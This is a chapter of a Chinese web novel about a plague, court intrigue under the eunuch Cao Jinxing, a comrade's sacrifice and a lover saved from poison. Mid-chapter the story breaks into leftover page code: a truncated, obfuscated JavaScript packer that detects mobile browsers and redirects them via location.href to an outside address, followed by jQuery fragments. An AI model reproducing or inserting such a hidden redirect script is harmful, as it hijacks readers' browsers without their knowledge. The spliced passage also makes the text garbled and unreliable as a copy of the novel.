186. 苦尘歌(十六)

作品:《百草留芳

    “这么多人,我们怎么过去?稍往前踏一步,他们便会一拥而上啊!”花潋握紧手中的剑,缠着双手的麻布已经被汗水浸湿。


    陆凝仔细观察着周围,试图找一个万全的办法,下一秒,却只见阿纳芹娅已经出现在城墙上,她挥舞着点燃的旌旗,高声呼喊,“你们这群云靖的废物,过来啊!”


    感染者们感受到温度和声音,集体将脚步转向城墙的方向蜂拥而去,将城门口的空缺漏了出来。


    紧接着阿纳芹娅一挥手,陆凝和花潋很默契地动身,小心地挪向城门,这厚重的城门,往日都需要数十人精兵才能开启关闭,如今他们两个人哪里能轻易推动,上面的门闩被破坏,卡在那里,更加大了打开的难度,眼看着感染者即将发现他们,阿纳芹娅从城墙一跃而下,落在了他们身后。


    她用尽全身地力气,将那城门推开一条足以一人通过的缝隙,而后将身边的两个人推了出去,“快走!”


    感染者紧随其后,却被她一刀砍断了伸出去的手,却也将门狠狠地撞合,破损的门闩落了下来,彻底卡死。


    “阿纳!”


    二人诧然间,城门已经被阿纳芹娅重重地关上了。


    花潋哭喊着,泪水模糊了他的视线,“阿纳,你快出来,阿纳!”


    而陆凝却茫然地站在那里,她知道这门已经落了锁,开不了了。


    阿纳芹娅用身体抵住围着城门的众多感染者,咧嘴一笑,笑容挂在血迹斑斑的脸上,“走!你们快走!”


    她继续提到砍着那些冲上来的人,一个又一个,一刻也不停歇。


    “不要,我不要!”花潋泪流满面,拼命捶打着城门,拳头在厚重的城门上留下斑斑血痕,“我们一起走,你说好要带我会沙漠的!”


    “小花儿,对不起啊,”阿纳芹娅的声音突然变得异常温柔,“这次恐怕要食言了。”


    “小野猫,我知道你可以,带他走,快走!”


    陆凝重重地咬着自己的嘴唇,直到满口鲜血也未曾停下,这一次就连疼痛都无法让她冷静下来,她崩溃地扯着自己的头发,突然想到什么,扑到门前,声音抖得不像话,“阿纳,你是不是早就感染了。”


    因为已经感染了,她才会冒险去城墙上引开感染者,因为已经感染了,所以她会义无反顾地关上城门。


    “是,”阿纳芹娅坦然承认,扯出一个无奈的笑容,“所以快走吧,背后交给我了。”


    她的声音越来越虚弱,变得断断续续。


    花潋将额头贴在城门上,指甲深深陷入掌心,鲜血顺着指缝滴落,泣不成声,“阿纳!阿纳芹娅!你不许死!我一定能回来救你的,如果你敢死了,我这辈子都不会再理你了。”


    阿纳芹娅的笑声隔着城门传来,“小花儿……不许不理我啊……”


    陆凝胡乱抹干脸上的泪水,拉起花潋,“我们走。我们若是不继续走下去,阿纳所做的一切就白费了!”


    花潋回过头,看到陆凝血肉模糊的嘴唇,艰难握着机弩颤抖的手,终于站起了身,继续向前。


    行宫外迷雾重重,隐约可见金羽卫和点睛阁暗卫的身影,陆凝不用想也知道这是曹谨行的手笔,即便太子得到消息前来,恐怕也会死在这里。


    陆凝取出一瓶,塞到花潋手中,“拿着这个,走。”


    “师父,你这是做什么?”花潋脸上的泪水还没擦干,后怕地望着她,“你是要一个人去冒险吗?我可以保护你的,别像阿纳一样丢下我好吗?”


    陆凝抚了抚他的头,放缓语气,“小花,你在外面接应,等太子的人马到把解瘴毒的药给他们,我先进去拖延时间。”


    花潋还是泪汪汪地看着她,像个无助的孩子。


    “乖,师父相信你,一定能带他们来救人。”


    花潋紧紧抱住她,“师父,你一定要小心啊。”


    他抹了把眼泪,头也不回地冲下山去。看到他的背影消失在山脚后,陆凝从岩石后钻了出去,故意弄出声响,很快就被青衣抓获。


    当她被带到曹谨行面前时,这位权倾朝野的曹督公眼中闪过一丝诧异,“你还真是阴魂不散呐。”


    难得的是,这次他的语气中颇有几分欣赏地意味,若不是眼下的情况,他或许真的会打算将她纳入麾下,不过这些都不重要了,此刻杀意占据上风。


    “说不定现在就是我的灵魂在对你死缠烂打呢。”陆凝被按跪在地上,却昂着头,毫不示弱,“不如看在我就要死了的份上,您大发慈悲,告诉我你究竟想要做什么?这么明目张胆挟持皇帝,这皇位你可做不长远。”


    她的目光扫过昏迷在榻上的皇帝,心中快速盘算着。


    曹谨行轻笑,把玩着手中的玉佩,“你放心,顺我者昌,逆我者亡,人们只有经历了病痛,才会感恩救他们的人,他们才不会管这人是否是夺权而来的。”


    他踱步到昏迷的皇帝身边,手指轻轻划过皇帝苍白的脸颊,眼中闪烁着疯狂的光芒,“从前我也想过篡权夺位,但很快便放弃了这个想法,因为当皇帝实在是太麻烦了,他们要担心这个还要操心那个,不如直接推翻,重新建立新的秩序。”


    “那你为何不直接杀了皇帝,”陆凝追问,想尽办法拖延时间,“还要将他挟持到这里来。是因为药房的损毁让你没有了当这个救世主的能力了吗?你现在能用的药引,只有那一点了吧。”


    她注意到曹谨行的手指微微抽搐了一下,“所以你挟持皇帝,准备让那些忧心皇帝安危的人帮你找药引,对吧。现在你应该庆幸我没有死,能帮你找到更多的药引。”


    曹谨行眯起眼睛,满是怀疑,“你红口白牙一碰,便要咱家相信你是吗?”


    “为什么不呢?”陆凝镇定自若,迎上他的目光,“这药生长在西荒对吧,那座在沙漠中的离魂塔,就是为了寻找那些药吧,只不过被我炸了,你多年的心血付之东流了。既然我知道这些,曹督公为什么不能相信我能找到呢?”


    就在这时,青衣突然闯入,神色慌张,“主上,太子的大部队人马杀来了。”


    “拦住他们。”曹谨行刚下令,外面就传来兵刃相接的声音,越来越近。


    铛!一把飞刀破窗而入,深深钉在柱子上。


    混战中,莫苏勒带着上弦月杀入内室,跟在他身后的是曾书琮,他们两人已经将行宫内的守卫解决的大半。


    曹谨行看清来人,盛怒之下,突然大笑,“黑衣!果然是你啊!分离太久,咱家都忘了你是最会演戏的那个了。哈哈哈哈哈哈,”


    “不过背叛咱家的下场是什么?你敢告诉他吗?”他的笑声戛然而止,目光转向陆凝,看好戏似的勾着挑着眉。


    曾书琮眼疾手快地解开了陆凝身上的绳索,她挣扎着站起,闻言脸色骤变,“你跟他做了什么交易?”


    “这都不重要,”莫苏勒剑指曹谨行,刻意回避,“曹谨行,今日你的死期就要到了。”


    “那又能怎样?”曹谨行狞笑,缓缓后退,”我死了,你们便能救得了这芸芸众生了吗?”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167447|181159||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >他睨着陆凝,声音中带着残忍的快意,“大神医,忘了告诉你,太子和玄衣都服用过碎心丹,而这解药只有其一,若是玄衣的话恐怕已经拿到了吧,不过大神医,你猜猜,他会把解药给谁呢?”


    就在这时,尚阳云青带人冲了进来,他不由分说一剑刺入曹谨行胸膛,动作干净利落。


    曹谨行不可置信地瞪大眼睛,鲜血从他的嘴角涌出,“太子殿下,杀了咱家,陛下身上的毒……唔……你。”


    尚阳云青俯身在他耳边低语,冷笑一声,“我还要多谢你,给我个名正言顺的理由呢。”


    “叛贼已被拿下,现下孤给你们机会,投降者,免去一死!”


    “……”


    在那之后行宫中的事情,陆凝已经充耳不闻了,她提心吊胆的只有一件事。


    “解药呢?”陆凝盯着莫苏勒的眼睛。


    “什么解药?”


    “他方才说的碎心丹,你拿到解药了对吧?”


    莫苏勒捏了捏她的脸颊,“他骗你的你也信?”


    陆凝仍旧咬着嘴唇一脸严肃地盯着他,莫苏勒粗糙的指尖在她已经被咬的血肉模糊划过,“怎么总是对自己这么狠心?”


    他低头吻了下去,舌尖蛮狠地撬开她施行暴虐的牙齿,而后又轻柔地安抚那些伤痕。


    这个吻,很深,很深,漫长到陆凝错觉这一刻过了一生,直到莫苏勒捂着心脏倒了下去。


    陆凝接住他逐渐冰冷的身躯,在他身上不停翻找,“解药,解药呢?”


    莫苏勒嘴角溢出鲜血,勉强扯出一个笑容,“对不起啊,我把解药给了尚阳云青。”


    “你是不是傻啊,”泪水模糊了视线,陆凝崩溃地吼道,“你不要命了吗?”


    “云靖还需要他。”莫苏勒的气息越来越弱,眼神开始涣散。


    陆凝根本不听他说什么,意识中的系统商城已经被她翻了个遍。


    「解药!解药!你这个破商城连解药都没有吗?!」


    她对着系统嘶吼,但得到的只有沉默。


    莫苏勒艰难地抬手抚过她的脸,指尖冰凉,“阿凝,还记得,我跟你说过什么吗?死亡,只是另一种方式的延续,别担心,狼神会让我以另一种方式与你相见的。”


    “可我只有你了啊。”陆凝的泪水砸在他脸上,与血迹混在一起。


    接受死亡这件事,或许她这辈子都学不会了。


    “不要……不要……苏禾……我不要你死……”


    她泣不成声,而怀中的人已经没有了回应。


    陆凝崩溃地抱着他,却突然问到一股熟悉的味道。


    「这个味道!这是!」


    她猛地想起曹谨行添加的那味药引,红色粉末。


    气味来源于莫苏勒随身携带的香囊,陆凝拿起那个香囊,她的双手因脱力而颤抖,就连打开一个香囊都需要多次的努力。


    「是那个药引,是那个药引没错!」


    疫病的解药药方中,都是极其简单基础的药物,就说明这味药引起的作用很大,说不定也能解其他的毒呢,既如此,她只能死马当活马医,放手一试。


    她毫不犹豫地含入口中,俯身以嘴对嘴的方式渡给莫苏勒。


    「苏禾,我要你活着,求求你,活下来。」


    她的心中充满了绝望的祈祷。


    漫长的几秒钟后,莫苏勒的睫毛颤动,咳嗽着睁开了眼睛,陆凝喜极而泣,用力将他紧紧抱住,失而复得的喜悦仿佛要将他融入自己的骨血中。